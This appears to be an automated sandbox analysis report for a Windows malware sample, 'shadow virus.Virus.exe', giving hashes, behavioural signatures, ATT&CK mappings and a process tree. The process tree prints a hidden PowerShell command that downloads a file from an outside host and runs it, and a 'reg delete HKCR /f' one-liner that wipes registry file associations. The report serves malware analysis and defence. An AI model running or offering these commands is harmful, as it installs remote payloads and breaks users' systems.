Analysis
- user interaction
yes - max time kernel
54s - max time network
128s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
01/10/2026, 15:24
Static task
static1
Behavioral task
behavioral1
Sample
shadow virus.Virus.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
shadow virus.Virus.exe
Resource
win11ltsc2024-20260911-en
General
- Target shadow virus.Virus.exe
- Size 41KB
- Sample261001-stdqxsvt5n
- SHA256 17f2d023136ac0410c3cd9214c2802ebfa9dec50af618e30a22f9d27c216a096
- MD5 245394de450945edeb7acd78f9ddd080
- SHA1 59d85ff91c1de36e1c7f2c96140f6da3a9dc1810
- SHA512 0c386e75f3c867ef68b2a06c48273545d7e48a749d3babc8dc07b29a029c691fd36791d42d4a54abe8a5909aece04a372ad48782a22c9901a06ce7a627e2a77c
- SSDEEP 768:AFN8U8E4ZqjDBAGGCJwmNRwJqxQnIY9s3T4g5Bd+C:AFN78E4ZqjDBAewmNR+qxQj9s3T4gb4
- TLSH T12F13094DAB9D8033C38EAAFD589297134B30E1274503E38E59CCA5F629D37860E993C7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 8 124 powershell.exe 9 124 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 124 powershell.exe - Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Modifies system executable filetype association 2 TTPs 16 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\print reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\DropHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\{8895b1c6-b41f-4c1c-a562-0d564250836f} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shellex\ContextMenuHandlers\Compatibility reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\edit reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runas reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\batfile\shell\runasuser\command reg.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
ioc Process \??\F:\ powershell.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1580 cmd.exe - Modifies registry class 64 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppXpzkxgsbx9mzsg8kedsrg63eqxykxrtcx\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppXq0pwa73vfcn2qdexp8cexcc6qk87xh1r\Shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F04C-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpv2\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.oga\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.vssx\ShellEx\PropertyHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020830-0000-0000-C000-000000000046}\DefaultExtension reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00044851-0000-0000-C000-000000000046}\AutoConvertTo reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{02AF6DD2-77E6-44DF-B3E1-57CF1476D8EA}\Version reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.hxx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.odc\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020832-0000-0000-C000-000000000046}\DataFormats reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F04F-0000-0000-C000-000000000046}\Control reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\ArchiveFolder\ShellEx\ContextMenuHandlers reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CertificateStore reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F055-0000-0000-C000-000000000046}\Version reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5052A832-2C0F-46c7-B67C-1F1FEC37B280}\Implemented Categories\{4FED769C-D8DB-44EA-99EA-65135757C156} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CERFile\shell\open reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.hxi\OpenWithProgIDs reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.udt\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020833-0000-0000-C000-000000000046}\Verb\1 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1E886174-DC88-4B83-8BC5-66409EC75F16}\Elevation reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mos reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020821-0000-0000-C000-000000000046}\DefaultExtension reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.vsdm reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Applications\protocolhandler.exe reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CID\39383338-8473-4124-b56f-0c7cc2e844b2\Svcid reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00000560-0000-0010-8000-00AA006D2EA4}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020821-0000-0000-C000-000000000046}\DefaultIcon reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F032-0000-0000-C000-000000000046}\Verb\2 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{02BCC737-B171-4746-94C9-0D8A0B2C0089} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.library-ms\ShellNew\Config reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.M2TS\ShellEx\{BB2E617C-0920-11D1-9A0B-00C04FC2D6C1} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.raw\ShellEx reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppID\{A2F09029-B553-4824-91EA-DBB749E79B16} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020811-0000-0000-C000-000000000046}\AuxUserType reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020830-0000-0000-C000-000000000046}\VersionIndependentProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\*\shellex\ContextMenuHandlers\{90AA3A4E-1CBA-4233-B8BB-535773D48449} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.jfif\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.rle\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AcroExch.pdfxml.1\shell\Open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020820-0000-0000-C000-000000000046}\Verb reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{048EB43E-2059-422F-95E0-557DA96038AF}\InprocHandler32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5512D124-5CC6-11CF-8D67-00AA00BDCE1D}\ProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.vsscc reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.xlw reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Application.Manifest\shell\open\command reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020832-0000-0000-C000-000000000046}\Conversion\Readable reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{64818D10-4F9B-11CF-86EA-00AA00B929E8}\Insertable reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6C177EBD-C42D-4728-A04B-4131892EDBF6}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020906-0000-0000-C000-000000000046} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0006F031-0000-0000-C000-000000000046}\AuxUserType\3 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1B261B22-AC6A-4E68-A870-AB5080E8687B}\Conversion\ReadWritable\Main reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3F052B8E-512B-419D-9E06-9B9ADDC7118C}\InProcServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5512D110-5CC6-11CF-8D67-00AA00BDCE1D}\Implemented Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.stm\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.orf\ShellEx\{e357fccd-a995-4576-b01f-234630154e96} reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020833-0000-0000-C000-000000000046}\Conversion\Readable reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.drv\PersistentHandler reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.vro reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\AppXq0pwa73vfcn2qdexp8cexcc6qk87xh1r reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{00020800-0000-0000-C000-000000000046}\InprocServer32 reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3BE786A0-0366-4F5C-9434-25CF162E475E}\ProgID reg.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.ilk\PersistentHandler reg.exe - Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 124 powershell.exe 124 powershell.exe 124 powershell.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1888 shadow virus.Virus.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 1888 shadow virus.Virus.exe Token: SeDebugPrivilege 1888 shadow virus.Virus.exe Token: 33 2016 AUDIODG.EXE Token: SeIncBasePriorityPrivilege 2016 AUDIODG.EXE Token: SeDebugPrivilege 124 powershell.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 1888 wrote to memory of 124 1888 shadow virus.Virus.exe 89 PID 1888 wrote to memory of 1580 1888 shadow virus.Virus.exe 92 PID 1580 wrote to memory of 5784 1580 cmd.exe 94 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\shadow virus.Virus.exe"C:\Users\Admin\AppData\Local\Temp\shadow virus.Virus.exe"1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -NoP -EP Bypass -W Hidden -C "iwr 'https://files.catbox.moe/ab4icn.rar' -OutFile $env:TEMP\file.com; Start-Process -WindowStyle Hidden $env:TEMP\file.com"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:124
-
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k reg delete HKCR /f2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1580 -
C:\Windows\system32\reg.exereg delete HKCR /f3⤵
- Modifies system executable filetype association
- Modifies registry class
PID:5784
-
-
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C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x00000000000004F4 0x00000000000004FC1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2016
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Persistence
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1Privilege Escalation
Event Triggered Execution
2Change Default File Association
1Component Object Model Hijacking
1